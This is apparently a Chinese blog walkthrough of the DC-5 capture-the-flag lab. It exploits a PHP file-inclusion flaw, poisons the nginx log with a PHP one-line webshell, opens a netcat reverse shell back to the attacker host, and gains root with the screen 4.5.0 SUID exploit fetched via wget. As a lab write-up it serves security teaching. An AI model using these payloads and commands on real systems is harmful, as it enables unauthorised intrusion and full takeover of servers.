DC系列靶场---DC 5靶场的渗透测试

DC-5渗透测试

信息收集

地址探测

使用arp-scan对目标主机进行地址探测

arp-scan -l -I eth0

目标主机IP地址为172.30.1.132

Nmap扫描

使用Nmap对目标主机进行端口扫描

nmap -sS -sV -T4 -p- -O 172.30.1.132

//-sS  Nmap默认扫描类型,SYS的秘密扫描

//-sV  服务版本检测

//-T4  野蛮扫描(常用)

//-p-  对所有端口进行扫描

//-O   识别操作系统类型 (大O)

目标主机只开放了80端口,所以我们突破点就在80。

目录枚举

使用dirbuster进行目录枚举,dirbuster中自带有字典

选择Results-Tree Vlew模块可以到网站目录的架构

这里看到一个footer.php,这是一个网站页脚的程序文件。

还看到contact.php,这个是网站的留言板,也就是网站交互式的地方。

HTTP探测

在访问目标主机的网站没有思路时,可以看一下网站的架构

随便编写提交看一下有什么不一样的地方。

提交后重定向到thankyou.php的文件中,随着不断刷新,看到页脚的版本在发生改变,这个就是文件包含漏洞啦

直接访问thankyou.php的效果也是一样的,也就是thinkyou.php调用了footer.php

形式为:http;//172.30.1.132/thanyou.php?file=footer.php

我们可以验证下一是否存在文件包含漏洞呢?

看到是可以看到目标主机的账户文件的。

漏洞查找及利用

文件包含

文件包含漏洞:

文件包含漏洞通常出现在编写糟糕的PHP web应用程序中,其中输入参数没有得到正确的处理或验证。

因此,攻击者很容易捕获传递的HTTP请求,操纵URL参数,该参数接受文件名并将恶意文件包含在web服务器中。

原理:

服务器执行PHP文件时,可以通过文件包含函数加载另外一个文件(参数),另外一个文件中的PHP代码就会被执行,

这是在Web开发时,代码常用的一种处理方法。

利用日志GET到SHELL

对根目录的请求包写入一句话木马,看到响应码是400,不用管

<?php system(&_GET['cmd']) ;?>

DC-5使用的是nginx,默认日志路径/var/log/nginx/access/log

写入后访问是可以看到的,如果看不到就是访问次数过多,日志文件可能满了。

我们可以通过&进行传参到CMD执行系统命令。

查看目标主机是否有nc,看到这里是有的。

/thankyou.php?file=/var/log/nginx/access.log&cmd=which nc

获取shell

使用nc获取shell

Kali主机做侦听

nc -lnvp 4444

目标主机主动连接kali

/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -nv 172.30.1.20 4444 -c /bin/bash

提权

信息收集

查看系统账户文件

cat /etc/passwd

没有什么有用的信息

查看SUID权限的文件

find / -perm -4000 -type f 2>/dev/null

这里有一个/bin/screen-4.5.0的文件。

使用searchsploit搜索提权漏洞

searchsploit screen 4.5.0

提权

将漏洞文件镜像到本地主机

searchsploit -m 41154

dos2unix命令用来将DOS格式的文本文件转换成UNIX格式的(DOS/MAC to UNIX text file format converter)。DOS下的文本文件是以\r\n作为断行标志的,表示成十六进制就是0D 0A。而Unix下的文本文件是以\n作为断行标志的,表示成十六进制就是0A。DOS格式的文本文件在Linux底下,用较低版本的vi打开时行尾会显示^M,而且很多命令都无法很好的处理这种格式的文件,如果是个shell脚本,。而Unix格式的文本文件在Windows下用Notepad打开时会拼在一起显示。因此产生了两种格式文件相互转换的需求,对应的将UNIX格式文本文件转成成DOS格式的是unix2dos命令。

run.sh格式转换,每个操作系统以字符表示结尾的时候是不同的,查看脚本文件若每行结尾为 ^M

则需要使用命令 dos2unix run.sh 将其转换一下

提权参考

cp 41154.sh run.sh

dos2unix run.sh

使用python搭建一个简易Web服务器

python -m http.server 5555

使用wget下载脚本文件

wget -c 172.30.1.20:5555/run.sh

给该脚本添加执行权

chmod 777 run.sh

运行脚本

www-data@dc-5:/tmp$ ./run.sh
./run.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.


获取flag

总结

1、DC-5是存在文件包含漏洞,通常出现在PHP Web应用程序中。

2、文件包含漏洞存在的原因,输入参数没有得到正确的处理或验证。

3、文件包含漏洞的原理,服务器执行PHP文件时,可以通过文件包含函数加载另外一个文件        (参数),另外一个文件中的PHP代码就会被执行。

4、通过文件包含漏洞可以查看Linux系统的敏感文件

5、文件包含分为两类:

本地文件包含(Local File Inclusion,LFI)当被包含的文件在服务器本地时,就形成本地文件包含


远程文件包含(Remote File Inclusion,RFI)当被包含的文件在第三方服务器时,叫做远程文件包含(前提:开启了PHP配置中的allow_url_fopen选项)

6、Nginx默认日志文件/var/log/nginx/access.log

7、文件包含漏洞:通过GET请求写入一句话木马 通过日志获取shell                                                查看系统SUID的权限,获得提权

8、PHP中文件包含函数有以下四种:

    require()

    require_once()

    include()

    include_once()

  • 15
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

白帽子二三

您的鼓励是我最大的前进动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值